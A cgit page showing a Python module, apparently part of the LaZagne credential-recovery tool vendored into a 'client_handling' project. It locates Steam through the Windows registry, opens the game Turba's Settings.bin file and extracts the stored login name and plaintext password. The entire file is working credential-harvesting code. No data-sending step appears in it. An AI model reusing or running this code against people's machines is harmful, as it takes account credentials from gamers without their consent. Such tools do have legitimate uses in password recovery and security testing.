summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/games/turba.py
blob: f3604a8716de96e7a5406408dde5c3089e90c082 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# -*- coding: utf-8 -*-

import os

try: 
    import _winreg as winreg
except ImportError:
    import winreg

import foreign.client_handling.lazagne.config.winstructure as win
from foreign.client_handling.lazagne.config.module_info import ModuleInfo
from foreign.client_handling.lazagne.config.winstructure import string_to_unicode


class Turba(ModuleInfo):
    def __init__(self):
        ModuleInfo.__init__(self, 'turba', 'games', registry_used=True)

    def run(self):
        creds = []
        results = None

        # Find the location of steam - to make it easier we're going to use a try block
        # 'cos I'm lazy
        try:
            with win.OpenKey(win.HKEY_CURRENT_USER, 'Software\Valve\Steam') as key:
                results = winreg.QueryValueEx(key, 'SteamPath')
        except Exception:
            pass

        if results:
            steampath = string_to_unicode(results[0])
            steamapps = os.path.join(steampath, u'SteamApps\common')

            # Check that we have a SteamApps directory
            if not os.path.exists(steamapps):
                self.error(u'Steam doesn\'t have a SteamApps directory.')
                return

            filepath = os.path.join(steamapps, u'Turba\\Assets\\Settings.bin')

            if not os.path.exists(filepath):
                self.debug(u'Turba doesn\'t appear to be installed.')
                return

            # If we're here we should have a valid config file file
            with open(filepath, mode='rb') as filepath:
                # We've found a config file, now extract the creds
                data = filepath.read()
                chunk = data[0x1b:].split('\x0a')
                creds.append({
                    'Login': chunk[0],
                    'Password': chunk[1]
                })
            return creds